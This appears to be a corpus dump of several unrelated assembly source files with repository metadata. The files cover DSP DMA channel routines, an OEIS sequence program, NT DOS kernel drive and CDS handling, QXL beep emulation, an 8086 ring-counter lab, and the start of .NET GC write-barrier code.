cjmp(abs)(np); j6 = rotl j4(nf);; j6 = rotl j6; j7 = cjmp;; j6 = j6 + _DMA_WriteDC_Tbl - (4*4)(cjmp)(nf);; cjmp(abs); cjmp = j7;; .align_code 4; _DMA_WriteDC_Tbl: cjmp(abs); DC4 = xr3:0; nop; nop;; cjmp(abs); DC5 = xr3:0; nop; nop;; cjmp(abs); DC6 = xr3:0; nop; nop;; cjmp(abs); DC7 = xr3:0; nop; nop;; cjmp(abs); DC8 = xr3:0; nop; nop;; cjmp(abs); DC9 = xr3:0; nop; nop;; cjmp(abs); DC10 = xr3:0; nop; nop;; cjmp(abs); DC11 = xr3:0; nop; nop;; cjmp(abs); DC12 = xr3:0; nop; nop;; cjmp(abs); DC13 = xr3:0; nop; nop;; _DMA_WriteDC.end: //-------------------------------------------------------// // Write quadword from memory to DMA control regs (DCS) // // Arguments: // j4 - channel number (0 to 3) // j5 - pointer to qw (must be 4-aligned!) // Outputs: // none // Scratch: // xr3:0, jstat, j7:6 //-------------------------------------------------------// .section/charany/doubleany program; .global _DMA_WriteDCS; .align_code 4; _DMA_WriteDCS: xr3:0 = Q[j5 + 0x00];; comp(j4, 3)(U);; if njle, cjmp(abs)(np); j6 = rotl j4(nf);; j6 = rotl j6; j7 = cjmp;; j6 = j6 + _DMA_WriteDCS_Tbl(cjmp)(nf);; cjmp(abs); cjmp = j7;; .align_code 4; _DMA_WriteDCS_Tbl: cjmp(abs); DCS0 = xr3:0; nop; nop;; cjmp(abs); DCS1 = xr3:0; nop; nop;; cjmp(abs); DCS2 = xr3:0; nop; nop;; cjmp(abs); DCS3 = xr3:0; nop; nop;; _DMA_WriteDCS.end: //-------------------------------------------------------// // Write quadword from memory to DMA control regs (DCD) // // Arguments: // j4 - channel number (0 to 3) // j5 - pointer to qw (must be 4-aligned!) // Outputs: // none // Scratch: // xr3:0, jstat, j7:6 //-------------------------------------------------------// .section/charany/doubleany program; .global _DMA_WriteDCD; .align_code 4; _DMA_WriteDCD: xr3:0 = Q[j5 + 0x00];; comp(j4, 3)(U);; if njle, cjmp(abs)(np); j6 = rotl j4(nf);; j6 = rotl j6; j7 = cjmp;; j31 = j6 + _DMA_WriteDCD_Tbl(cjmp)(nf);; cjmp(abs); cjmp = j7;; .align_code 4; _DMA_WriteDCD_Tbl: cjmp(abs); DCD0 = xr3:0; nop; nop;; cjmp(abs); DCD1 = xr3:0; nop; nop;; cjmp(abs); DCD2 = xr3:0; nop; nop;; cjmp(abs); DCD3 = xr3:0; nop; nop;; _DMA_WriteDCD.end: //-------------------------------------------------------// // Stop DMA channel // // Arguments: // j4 - channel number // Outputs: // none // Scratch: // xr3:0, jstat, j7:6, j8 //-------------------------------------------------------// .section/charany/doubleany program; .global _DMA_Stop; .align_code 4; _DMA_Stop: comp(j4, 3)(U); j8 = cjmp;; if njle, jump _DMA_Stop_SingleDC(np); j5 = _zero_qw;; call _DMA_WriteDCS; nop; nop; nop;; call _DMA_WriteDCD; nop; nop; nop;; cjmp = j8;; cjmp(abs); nop; nop; nop;; _DMA_Stop_SingleDC: call _DMA_WriteDC; nop; nop; nop;; cjmp = j8;; cjmp(abs); nop; nop; nop;; _DMA_Stop.end: //-------------------------------------------------------// // Pause single DMA channel // Not interrupt-safe! // // Arguments: // j4 - selected DMA channel, 0 to 13 // Outputs: // j8: <- 0 if channel was not paused // <- 1 if channel was paused already // Scratch: // xr1:0, yr1:0, xstat, ystat //-------------------------------------------------------// .section/charany program; .global _DMA_PauseChannel; .align_code 4; _DMA_PauseChannel: r0 = DCNT; r1 = [j4 + address(_DCNT_BITS_TABLE)];; xr0 = r0 or r1; yr0 = r0 and r1; j8 = 0x00;; if nyaeq; do, j8 = j8 + 0x01 (nf); DCNT = xr0;; cjmp(abs); nop; nop; nop;; _DMA_PauseChannel.end: //-------------------------------------------------------// // Unpause single DMA channel // Not interrupt-safe! // // Arguments: // j4 - selected DMA channel, 0 to 13 // Outputs: // j8: <- 0 if channel was paused // <- 1 if channel was not paused // Scratch: // xr1:0, yr1:0, xstat, ystat //-------------------------------------------------------// .section/charany program; .global _DMA_UnpauseChannel; .align_code 4; _DMA_UnpauseChannel: r0 = DCNT; r1 = [j4 + address(_DCNT_BITS_TABLE)];; xr0 = r0 and not r1; yr0 = r0 and r1; j8 = 0x00;; if yaeq; do, j8 = j8 + 0x01 (nf); DCNT = xr0;; cjmp(abs); nop; nop; nop;; _DMA_UnpauseChannel.end: //-------------------------------------------------------// // Pause multiple DMA channels // Not interrupt-safe! // // Arguments: // j4 - selected DMA channels, ORed DCNT_DMA0 to DCNT_DMA13 (see defts201.h) // Outputs: // none // Scratch: // j5 //-------------------------------------------------------// .section/charany program; .global _DMA_PauseMultipleChannels; .align_code 4; _DMA_PauseMultipleChannels: j5 = DCNT;; j5 = j5 or j4;; cjmp(abs); DCNT = j5; nop; nop;; _DMA_PauseMultipleChannels.end: //-------------------------------------------------------// // Unpause multiple DMA channels // Not interrupt-safe! // // Arguments: // j4 - selected DMA channels, ORed DCNT_DMA0 to DCNT_DMA13 (see defts201.h) // Outputs: // none // Scratch: // j5 //-------------------------------------------------------// .section/charany program; .global _DMA_UnpauseMultipleChannels; .align_code 4; _DMA_UnpauseMultipleChannels: j5 = DCNT;; j5 = j5 and not j4;; cjmp(abs); DCNT = j5; nop; nop;; _DMA_UnpauseMultipleChannels.end: //-------------------------------------------------------// // Optimized chain insertion routine // Parameters: // j4 - Channel number, 0 to 13 (bits 3:0), // bit 4 selects whether DCS (0) or DCD (1) will be updated // in case of channels 0-3 modifying // j5 - Address of the first TCB in the chain being inserted // j6 - Address of the last TCB in the chain being inserted // j7 - Chaining destination channel (for LINK TX 0-3 or RX 0-3) // as defined in <defts201.h> // Outputs: // j8: 0 <- arguments correct, operation was performed // 1 <- TY field of the modified channel TCB is equal to 0 // 2 <- arguments are not correct // Algorithm: // 1. Check TY field. If TY = 0, chain insertion may not be performed. Exit with error code 1. // 2. Replace CHTG field of current TCB with input argument value, // CHPT field - with address of first TCB in the inserted chain // and enable chaining. // 3. If current DMA channel TCB has chaining enabled, set CHTG and CHPT fileds of the // last TCB in the inserted chain to those from current DMA channel TCB and // enable chaining. Disable chaining in this TCB otherwise. // 4. Write back last TCB in the inserted chain and the modified TCB into DMA channel // Scratch: // j3:2,j10,j9:8,k7:0, kstat, jstat //-------------------------------------------------------// .section/charany program; .global _DMA_ChainInsert; .align_code 4; _DMA_ChainInsert: comp(j4,0x13)(U); k4 = j4;; if njle, cjmp(abs)(np); j8 = 0x02; k4 = rotl k4;; j9 = cjmp; k4 = rotl k4;; j10 = j5; k5 = k4 + address(_get_indexed_tcb);; j10 = lshiftr j10; cjmp = k5;; cjmp_call(abs); j10 = lshiftr j10; k7:6 = j1:0;; //--------- Check TY field ---------// j31 = j3 and 0xE0000000; k5 = j6;; if jeq, jump _dcio_ret(np); j8 = 0x01; j10 = j10 or j7;; //------- Modify current TCB --------// j8 = j3 and 0x00380000 | 0x0007FFFF | 0x00400000; k3:0 = Q[k5+0x00];; // load last TCB j10 = j10 or 0x00400000; k5 = j8;; // enable chaining j3 = j3 and not 0x00380000 | 0x0007FFFF | 0x00400000; j8 = k4;; j3 = j3 or j10; k3 = k3 and not 0x00380000 | 0x0007FFFF | 0x00400000;; //--- Modify last TCB in the chain ---// j8 = j8 + address(_set_indexed_tcb); k3 = k3 or k5;; // Save modified last chain TCB cjmp = j8; Q[j6+0x00] = k3:0;; // Write modified TCB back into the DMA channel and return cjmp_call(abs); j8 = j8 xor j8; nop;; _dcio_ret: cjmp = j9;; cjmp(abs); j1:0 = k7:6; nop; nop;; _DMA_ChainInsert.end:
26.903636
94
0.53815
7e35120abf7bc69bf02d050b20d70c94149d8ce8
554
asm
Assembly
programs/oeis/059/A059786.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/059/A059786.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/059/A059786.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A059786: Smallest prime after 2*(n-th prime). ; 5,7,11,17,23,29,37,41,47,59,67,79,83,89,97,107,127,127,137,149,149,163,167,179,197,211,211,223,223,227,257,263,277,281,307,307,317,331,337,347,359,367,383,389,397,401,431,449,457,461,467,479,487,503,521,541,541,547,557,563,569,587,617,631,631,641,673,677,701,701,709,719,739,751,761,769,787,797,809,821,839,853,863,877,881,887,907,919,929,929,937,967,977,983,1009,1009,1019,1049,1049,1087 seq $0,40 ; The prime numbers. mul $0,2 seq $0,151800 ; Least prime > n (version 2 of the "next prime" function).
79.142857
390
0.722022
453385f9707b47edf95cdb10cf73c990729edb08
16,081
asm
Assembly
base/mvdm/dos/v86/doskrnl/dos/macro.asm
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
base/mvdm/dos/v86/doskrnl/dos/macro.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
base/mvdm/dos/v86/doskrnl/dos/macro.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
TITLE MACRO - Pathname and macro related internal routines NAME MACRO ;** MACRO.ASM ; ; $AssignOper ; InitCDS ; $UserOper ; GetVisDrv ; GetThisDrv ; GetCDSFromDrv ; ; Modification History ; ; sudeepb 11-Mar-1991 Ported for NT DOSEm. ; .xlist .xcref include version.inc include dosseg.inc INCLUDE DOSSYM.INC INCLUDE DEVSYM.INC include mult.inc include curdir.inc include cmdsvc.inc include dossvc.inc ifdef NEC_98 include dpb.inc endif ;NEC_98 .cref .list ifdef NEC_98 Installed = TRUE endif ;NEC_98 I_need ThisCDS,DWORD ; pointer to CDS used I_need CDSAddr,DWORD ; pointer to CDS table I_need CDSCount,BYTE ; number of CDS entries I_need SCS_ToSync,BYTE ; Flag which tells to validate CDSs I_need CurDrv,BYTE ; current macro assignment (old ; current drive) I_need NUMIO,BYTE ; Number of physical drives I_need fSharing,BYTE ; TRUE => no redirection allowed I_need DummyCDS,80h ; buffer for dummy cds ifdef JAPAN I_need NetCDS,curdirLen_Jpn ; buffer for Net cds else I_need NetCDS,curdirLen ; buffer for Net cds endif I_need DIFFNAM,BYTE ; flag for MyName being set I_need MYNAME,16 ; machine name I_need MYNUM,WORD ; machine number I_need EXTERR_LOCUS,BYTE ; Extended Error Locus I_need DrvErr,BYTE ; drive error ifdef NEC_98 I_need DPBHEAD,DWORD ; beginning of DPB chain endif ;NEC_98 DOSCODE SEGMENT ASSUME SS:DOSDATA,CS:DOSCODE BREAK <$AssignOper -- Set up a Macro> ; Inputs: ; AL = 00 get assign mode (ReturnMode) ; AL = 01 set assign mode (SetMode) ; AL = 02 get attach list entry (GetAsgList) ; AL = 03 Define Macro (attch start) ; BL = Macro type ; = 0 alias ; = 1 file/device ; = 2 drive ; = 3 Char device -> network ; = 4 File device -> network ; DS:SI -> ASCIZ source name ; ES:DI -> ASCIZ destination name ; AL = 04 Cancel Macro ; DS:SI -> ASCIZ source name ; AL = 05 Modified get attach list entry ; AL = 06 Get ifsfunc item ; AL = 07 set in_use of a drive's CDS ; DL = drive number, 0=default 0=A,, ; AL = 08 reset in_use of a drive's CDS ; DL = drive number, 0=A, 1=B,,, ; Function: ; Do macro stuff ; Returns: ; Std Xenix style error return procedure $AssignOper,NEAR CMP AL,7 ; set in_use ? ;AN000; JNZ chk08 ; no ;AN000; srinuse: ;AN000; PUSH AX ; save al ;AN000; MOV AL,DL ; AL= drive id ;AN000; CALL GetCDSFromDrv ; ds:si -> cds ;AN000; POP AX ; ;AN000; JC baddrv ; bad drive ;AN000; ; ; RLF 09/10/91 ; No curdir_devptr - therefore no point checking it? ; ; CMP WORD PTR [SI.curdir_devptr],0 ; dpb ptr =0 ? ;AN000; ; JZ baddrv ; no ;AN000; ; ; RLF 09/10/91 ; CMP AL,7 ; set ? ;AN000; JNZ resetdrv ; no ;AN000; OR [SI.curdir_flags],curdir_inuse; set in_use ;AN000; JMP SHORT okdone ; ;AN000; resetdrv: ;AN000; AND [SI.curdir_flags],NOT curdir_inuse; reset in_use ;AN000; JMP SHORT okdone ; ;AN000; baddrv: ;AN000; MOV AX,error_invalid_drive ; error ;AN000; JMP SHORT ASS_ERR ; ;AN000; chk08: ;AN000; CMP AL,8 ; reset inuse ? ;AN000; JZ srinuse ; yes ;AN000; IF NOT INSTALLED transfer NET_ASSOPER ELSE PUSH AX MOV AX,(multnet SHL 8) OR 30 INT 2FH POP BX ; Don't zap error code in AX JC ASS_ERR okdone: transfer SYS_RET_OK ASS_ERR: transfer SYS_RET_ERR ENDIF EndProc $AssignOper ifdef NEC_98 Break <FIND_DPB - Find a DPB from a drive number> ;** FIND_DPB - Find a DPB from a Drive # ; ; ENTRY AL has drive number A = 0 ; EXIT 'C' set ; No DPB for this drive number ; 'C' clear ; DS:SI points to DPB for drive ; USES SI, DS, Flags Procedure FIND_DPB,NEAR ASSUME CS:DOSCODE,SS:DOSDATA LDS SI,DPBHEAD ;smr;SS Override fdpb5: CMP SI,-1 JZ fdpb10 CMP AL,[SI].dpb_drive jz ret_label ; Carry clear (retz) LDS SI,[SI].dpb_next_dpb JMP fdpb5 fdpb10: STC ret_label: return EndProc FIND_DPB endif ;NEC_98 Break <InitCDS - set up an empty CDS> ;** InitCDS - Setup an Empty CDS ; ; ENTRY ThisCDS points to CDS ; AL has uppercase drive letter ; EXIT ThisCDS is now empty ; (ES:DI) = CDS ; 'C' set if no DPB associated with drive ; USES AH,ES,DI, Flags Procedure InitCDS,NEAR DOSASSUME <SS>,"InitCDS" ASSUME CS:DOSCODE SAVE <ax> ; save (AL) for caller LES DI,THISCDS ; (es:di) = CDS address MOV ES:[DI].curdir_flags,0 ; "free" CDS ; On NT we allow any valid drive letter for network drives ; CMP NUMIO,AL ; smr;SS Override ; JC icdsx ; Drive does not map a physical drive cmp al, 25 + "A" ja icdsErr MOV AH,':' MOV WORD PTR ES:[DI.curdir_text],AX ; set "x:" MOV WORD PTR ES:[DI.curdir_text+2],"\" ; NUL terminate .errnz CURDIR_INUSE-4000h OR byte ptr ES:[DI].curdir_flags+1,curdir_inuse SHR 8 mov al,2 MOV ES:[DI].curdir_END,ax icdsx: RESTORE <ax> return icdsErr: stc jmp short icdsx EndProc InitCDS Break <$UserOper - get/set current user ID (for net)> ; ; $UserOper - retrieve or initiate a user id string. MSDOS will only ; maintain this string and do no verifications. ; ; Inputs: AL has function type (0-get 1-set 2-printer-set 3-printer-get ; 4-printer-set-flags,5-printer-get-flags) ; DS:DX is user string pointer (calls 1,2) ; ES:DI is user buffer (call 3) ; BX is assign index (calls 2,3,4,5) ; CX is user number (call 1) ; DX is flag word (call 4) ; Outputs: If AL = 0 then the current user string is written to DS:DX ; and user CX is set to the user number ; If AL = 3 then CX bytes have been put at input ES:DI ; If AL = 5 then DX is flag word ; ; NOTES for NT: sudeepb 01-Mar-1993 ; We ignore setting of the computer name although we succeed. ; Functions realted to printer info are handled the same way ; as DOS i.e. by an int2f, but redir does'nt do anything about ; it as remote printing is'nt handled by redir. I dont ; know what could potentially be broken because of this. Procedure $UserOper,NEAR ASSUME CS:DOSCODE,SS:DOSDATA PUSH AX SUB AL,1 ; quick dispatch on 0,1 POP AX JB UserGet ; return to user the string JZ UserSet ; set the current user CMP AL,5 ; test for 2,3,4 or 5 JBE UserPrint ; yep MOV EXTERR_LOCUS,errLoc_Unk ; Extended Error Locus ;smr;SS Override error error_Invalid_Function ; not 0,1,2,3 UserGet: SVC SVC_DEMGETCOMPUTERNAME ; DS:DX is the user buffer invoke get_user_stack MOV [SI.User_CX],CX ; Set number return UserBye: transfer sys_ret_ok ; no errors here UserSet: ASSUME DS:NOTHING ; Transfer DS:DX to MYNAME ; CX to MYNUM MOV [MYNUM],CX ;smr;SS Override if 0 MOV SI,DX ; user space has source Context ES MOV DI,OFFSET DOSDATA:MyName ; point dest to user string INC [DiffNam] ; signal change ;smr;SS Override JMP UserMove else transfer sys_ret_ok ; On NT we only take MyNum endif UserPrint: ASSUME ES:NOTHING IF NOT Installed transfer PRINTER_GETSET_STRING ELSE PUSH AX MOV AX,(multNET SHL 8) OR 31 INT 2FH POP DX ; Clean stack JNC OKPA transfer SYS_RET_ERR OKPA: transfer SYS_RET_OK ENDIF EndProc $UserOper Break <GetVisDrv - return visible drive> ; ; GetVisDrv - correctly map non-spliced inuse drives ; ; Inputs: AL has drive identifier (0=default) ; Outputs: Carry Set - invalid drive/macro ; Carry Clear - AL has physical drive (0=A) ; ThisCDS points to CDS ; Registers modified: AL Procedure GetVisDrv,NEAR ASSUME CS:DOSCODE,SS:DOSDATA CALL GetThisDrv ; get inuse drive retc SAVE <DS,SI> LDS SI,ThisCDS ;smr;SS Override TEST [SI].curdir_flags,curdir_splice RESTORE <SI,DS> retz ; if not spliced, return OK MOV [DrvErr],error_invalid_drive ;IFS. ;AN000;smr;SS Override STC ; signal error return EndProc GetVisDrv Break <Getthisdrv - map a drive designator (0=def, 1=A...)> ; ; GetThisDrv - look through a set of macros and return the current drive and ; macro pointer ; ; Inputs: AL has drive identifier (1=A, 0=default) ; Outputs: ; Carry Set - invalid drive/macro ; Carry Clear - AL has physical drive (0=A) ; ThisCDS points to macro ; Registers modified: AL Procedure GetThisDrv,NEAR ASSUME CS:DOSCODE,SS:DOSDATA OR AL,AL ; are we using default drive? JNZ gtd10 ; no, go get the CDS pointers MOV AL,[CurDrv] ; get the current drive INC ax ; Counteract next instruction gtd10: DEC ax ; 0 = A SAVE <DS,SI> ; save world mov [EXTERR_LOCUS],errLOC_Disk ;smr;SS Override TEST fSharing,-1 ; Logical or Physical? ;smr;SS Override JZ gtd20 ; Logical SAVE <AX,ES,DI> MOV WORD PTR ThisCDS,OFFSET DOSDATA:DummyCDS ;smr;SS Override MOV WORD PTR ThisCDS+2,SS ; ThisCDS = &DummyCDS;smr; ADD AL,'A' CALL InitCDS ; InitCDS(c); TEST ES:[DI.curdir_flags],curdir_inuse ; Clears carry RESTORE <DI,ES,AX> JZ gtd30 ; Not a physical drive. JMP SHORT gtdx ; carry clear gtd20: invoke GetCDSFromDrv JC gtd30 ; Unassigned CDS -> return error already set TEST [SI.curdir_flags],curdir_inuse ; Clears Carry JNZ gtdx ; carry clear gtd30: MOV AL,error_invalid_drive ; invalid FAT drive MOV [DrvErr],AL ; save this for IOCTL mov [EXTERR_LOCUS],errLOC_UNK STC gtdx: RESTORE <SI,DS> ; restore world return EndProc GetThisDrv Break <GetCDSFromDrv - convert a drive number to a CDS pointer> ; ; GetCDSFromDrv - given a physical drive number, convert it to a CDS ; pointer, returning an error if the drive number is greater than the ; number of CDS's ; ; Inputs: AL is physical unit # A=0... ; Outputs: Carry Set if Bad Drive ; Carry Clear ; DS:SI -> CDS ; [THISCDS] = DS:SI ; Registers modified: DS,SI Procedure GetCDSFromDrv,NEAR ASSUME CS:DOSCODE,SS:DOSDATA ; Sudeepb 20-Dec-1991 ; Added for redirected drives ; We always sync the redirected drives. Local drives are sync ; as per the curdir_tosync flag and SCS_toSync. cmp [SCS_ToSync],0 je no_sync SAVE <BX,CX> LDS SI,[CDSAddr] ; get pointer to table ;smr;SS Override mov cl,[CDSCount] xor ch,ch sync_loop: or word ptr ds:[si.CURDIR_FLAGS],CURDIR_tosync ifdef JAPAN MOV BX,SIZE CurDir_list_jpn else MOV BX,SIZE CurDir_list endif ADD SI,bx loop sync_loop RESTORE <CX,BX> mov [SCS_ToSync],0 mov si,OFFSET DOSDATA:NetCDS push ss pop ds or word ptr ds:[si.CURDIR_FLAGS],CURDIR_tosync OR CURDIR_NT_FIX no_sync: CMP AL,[CDSCount] ; is this a valid designator;smr;SS Override JB GetCDS ; yes, go get the macro cmp al,25 ja gcds_err mov si,OFFSET DOSDATA:NetCDS .errnz CURDIR_TEXT push ss pop ds push ax CMDSVC SVC_CMDGETCURDIR ; ds:si is buffer to get current dir net_in_sync: pop ax jc gcds_err MOV [si.curdir_END],2 mov [si.CURDIR_FLAGS], CURDIR_inuse OR CURDIR_NT_FIX jmp gcds_comm gcds_err: STC ; signal error return ; bye GetCDS: SAVE <BX,AX> LDS SI,[CDSAddr] ; get pointer to table ;smr;SS Override ifdef JAPAN MOV BL,SIZE CurDir_list_jpn ; size in convenient spot else MOV BL,SIZE CurDir_list ; size in convenient spot endif MUL BL ; get net offset ADD SI,AX ; convert to true pointer RESTORE <AX,BX> test word ptr ds:[si.CURDIR_FLAGS],CURDIR_tosync jz gcds_comm push ax CMDSVC SVC_CMDGETCURDIR ; ds:si is buffer to get current dir ; al = drive pop ax jc gcds_err and word ptr ds:[si.CURDIR_FLAGS],NOT CURDIR_tosync gcds_comm: MOV WORD PTR [ThisCDS],SI ; store convenient offset;smr;SS Override MOV WORD PTR [ThisCDS+2],DS ; store convenient segment;smr;SS Override CDSX: CLC ; no error return ; bye! EndProc GetCDSFromDrv DOSCODE ends END
34.582796
103
0.49829
836befc3dae9937b3ab995861568affcf778ebe4
620
asm
Assembly
4rth-Sem-Ise/Microprocessors -X86-/hardware/ringcounter.asm
mvnsia/4th_Sem_Ise
d1e75bf16ff1ee5ded3fa2832017098f86670a18
[ "MIT" ]
null
null
null
4rth-Sem-Ise/Microprocessors -X86-/hardware/ringcounter.asm
mvnsia/4th_Sem_Ise
d1e75bf16ff1ee5ded3fa2832017098f86670a18
[ "MIT" ]
null
null
null
4rth-Sem-Ise/Microprocessors -X86-/hardware/ringcounter.asm
mvnsia/4th_Sem_Ise
d1e75bf16ff1ee5ded3fa2832017098f86670a18
[ "MIT" ]
null
null
null
assume cs:code,ds:data data segment pa equ 20A0h pb equ 20A1h pc equ 20A2h cr equ 20A3h data ends code segment start: mov ax,data mov ds,ax mov dx,cr mov al,82h out dx,al mov al,01 rpt: mov dx,pa out dx,al call delay ror al,1 push ax mov ah,06h mov dl,0ffh int 21h pop ax jz rpt mov ah,4ch int 21h delay proc mov si,0ffffh l2:mov di,0ffffh l1:dec di jnz l1 dec si jnz l2 ret delay endp code ends end start
13.478261
24
0.493548
427899764768fb8f1ad8d53ff39176a99f61e243
3,204
asm
Assembly
smsq/qxl/hdop/beep.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/qxl/hdop/beep.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/qxl/hdop/beep.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; QXL SMSQ BEEP emulation  1988 Tony Tebby QJUMP section sms xdef hdop_beep xdef hdop_bpof xref qxl_mess_add include 'dev8_keys_sys' include 'dev8_keys_err' include 'dev8_smsq_qxl_keys' include 'dev8_smsq_qxl_comm_keys' ho.bpoff equ 1098 ; beep 0 ho.bpscl equ 14585-ho.bpoff ; beep 128 - beep 0 ho.bpssf equ 7 ; /128 ho.bpfa equ ho.bpscl/128*325*2 ; duration = (140 + a/(b+2*pitch)) * QL ho.bpfb equ ho.bpscl/128*5*2-ho.bpoff*2 ho.bpfo equ 125 hdop_beep hob.rege reg d1-d3/a0/a1 hob.regx reg d1-d3/a0/a1/a3 frame equ $10 movem.l hob.rege,-(sp) sub.w #frame,sp ; some work space move.l sp,a0 move.l qxl_message,a5 lea qxl_ms_beep+qxl_ms_spare(a5),a5 clr.w (a5)+ move.b (a3)+,d0 ; number of parameters moveq #0,d1 ; no nibbles move.l (a3)+,d2 ; mask of bits bra.s hob_dlend hob_dloop moveq #0,d3 move.b (a3)+,d3 ; next byte ror.l #1,d2 ; any to send? bcs.s hob_skip ; ... no ror.l #1,d2 ; how much? bcs.s hob_byte ; a byte and.b #$0f,d3 ; ... this much not.b d1 ; any sent already? bne.s hob_msnib ; ... no or.b d3,(a0)+ ; put it in bra.s hob_dlend hob_msnib lsl.b #4,d3 move.b d3,(a0) ; set ms nibble bra.s hob_dlend hob_byte tst.b d1 ; a nibble in already? beq.s hob_whole ; ... no ror.w #4,d3 ; ms nibble or.b d3,(a0)+ rol.w #8,d3 ; ls nibble move.b d3,(a0) bra.s hob_dlend hob_whole move.b d3,(a0)+ ; whole byte bra.s hob_dlend hob_skip ror.l #1,d2 ; skip bit hob_dlend dbra d0,hob_dloop ; next bit. move.l sp,a0 move.l a5,a1 move.l #12<<16+qxm.beep<<8+$ff,(a5)+ ; message header moveq #0,d0 ; get pitch 1 move.b (a0)+,d0 subq.b #1,d0 mulu #ho.bpscl,d0 lsr.l #ho.bpssf,d0 add.w #ho.bpoff,d0 ; scaled and offset move.w d0,d2 move.w d0,(a5)+ move.w d2,d0 moveq #0,d1 ; get pitch 2 move.b (a0)+,d1 tst.w (a0) ; any interval beq.s hob_setl ; ... none move.w d1,d0 subq.w #1,d0 mulu #ho.bpscl,d0 lsr.l #ho.bpssf,d0 add.w #ho.bpoff,d0 ; scaled and offset hob_setl add.w d0,d2 ; total of pitches move.w d0,(a5)+ add.w #ho.bpfb,d2 move.l #ho.bpfa,d0 divu d2,d0 add.w #ho.bpfo,d0 ; pitch fudge factor for duration move.w (a0)+,d3 beq.s hob_slen ; ... no interval ror.w #8,d3 mulu d0,d3 ; interval lsl.l #4,d3 ; reduce rounding problems add.l #$8000,d3 ; rounded clr.w d3 swap d3 mulu #qxl.8tik>>4,d3 ; PC eighth tick to QXL poll correction add.l #$8000,d3 swap d3 tst.w d3 bne.s hob_slen moveq #1,d3 ; cannot have zero hob_slen move.w (a0)+,d2 ; length beq.s hob_step ror.w #8,d2 mulu d0,d2 swap d2 addq.w #1,d2 hob_step move.b (a0)+,d0 ; step / wrap move.b d0,d1 ext.w d0 asr.w #4,d0 muls #ho.bpscl,d0 asr.l #ho.bpssf,d0 move.w d0,(a5)+ ; step move.w d3,(a5)+ ; interval addq.b #1,d1 and.w #$000f,d1 ; 0-15 move.w d1,(a5) ; message is complete jsr qxl_mess_add st sys_qlbp(a6) ; ... beeping now move.w d2,-(a1) ; set it going hob_exframe add.w #frame,sp hob_ok moveq #0,d0 movem.l (sp)+,hob.regx rts hdop_bpof movem.l hob.rege,-(sp) move.l qxl_message,a5 move.w #1,qxl_ms_beep+qxl_ms_spare(a5) sf sys_qlbp(a6) ; ... not beeping now bra.s hob_ok end
20.538462
74
0.638889
0f6b3f1ba8ea5a3b47efbed6010e1a96f45549bd
12,119
asm
Assembly
src/Native/Runtime/i386/WriteBarriers.asm
kouvel/corert
c6af4cfc8b625851b91823d9be746c4f7abdc667
[ "MIT" ]
3,223
2015-11-18T16:04:48.000Z
2022-03-25T14:40:43.000Z
src/Native/Runtime/i386/WriteBarriers.asm
kouvel/corert
c6af4cfc8b625851b91823d9be746c4f7abdc667
[ "MIT" ]
4,032
2015-11-18T15:44:29.000Z
2020-11-01T06:32:44.000Z
src/Native/Runtime/i386/WriteBarriers.asm
kouvel/corert
c6af4cfc8b625851b91823d9be746c4f7abdc667
[ "MIT" ]
678
2015-11-18T15:43:40.000Z
2022-03-25T07:44:21.000Z
;; Licensed to the .NET Foundation under one or more agreements. ;; The .NET Foundation licenses this file to you under the MIT license. ;; ;; Define the helpers used to implement the write barrier required when writing an object reference into a ;; location residing on the GC heap. Such write barriers allow the GC to optimize which objects in ;; non-ephemeral generations need to be scanned for references to ephemeral objects during an ephemeral ;; collection. ;; .xmm .model flat option casemap:none .code include AsmMacros.inc ;; Macro used to copy contents of newly updated GC heap locations to a shadow copy of the heap. This is used ;; during garbage collections to verify that object references where never written to the heap without using a ;; write barrier. Note that we're potentially racing to update the shadow heap while other threads are writing ;; new references to the real heap. Since this can't be solved perfectly without critical sections around the ;; entire update process, we instead update the shadow location and then re-check the real location (as two ;; ordered operations) and if there is a disparity we'll re-write the shadow location with a special value ;; (INVALIDGCVALUE) which disables the check for that location. Since the shadow heap is only validated at GC ;; time and these write barrier operations are atomic wrt to GCs this is sufficient to guarantee that the ;; shadow heap contains only valid copies of real heap values or INVALIDGCVALUE. ifdef WRITE_BARRIER_CHECK g_GCShadow TEXTEQU <?g_GCShadow@@3PAEA> g_GCShadowEnd TEXTEQU <?g_GCShadowEnd@@3PAEA> INVALIDGCVALUE EQU 0CCCCCCCDh EXTERN g_GCShadow : DWORD EXTERN g_GCShadowEnd : DWORD UPDATE_GC_SHADOW macro BASENAME, DESTREG, REFREG ;; If g_GCShadow is 0, don't perform the check. cmp g_GCShadow, 0 je &BASENAME&_UpdateShadowHeap_Done_&DESTREG&_&REFREG& ;; Save DESTREG since we're about to modify it (and we need the original value both within the macro and ;; once we exit the macro). push DESTREG ;; Transform DESTREG into the equivalent address in the shadow heap. sub DESTREG, G_LOWEST_ADDRESS jb &BASENAME&_UpdateShadowHeap_PopThenDone_&DESTREG&_&REFREG& add DESTREG, [g_GCShadow] cmp DESTREG, [g_GCShadowEnd] ja &BASENAME&_UpdateShadowHeap_PopThenDone_&DESTREG&_&REFREG& ;; Update the shadow heap. mov [DESTREG], REFREG ;; Now check that the real heap location still contains the value we just wrote into the shadow heap. This ;; read must be strongly ordered wrt to the previous write to prevent race conditions. We also need to ;; recover the old value of DESTREG for the comparison so use an xchg 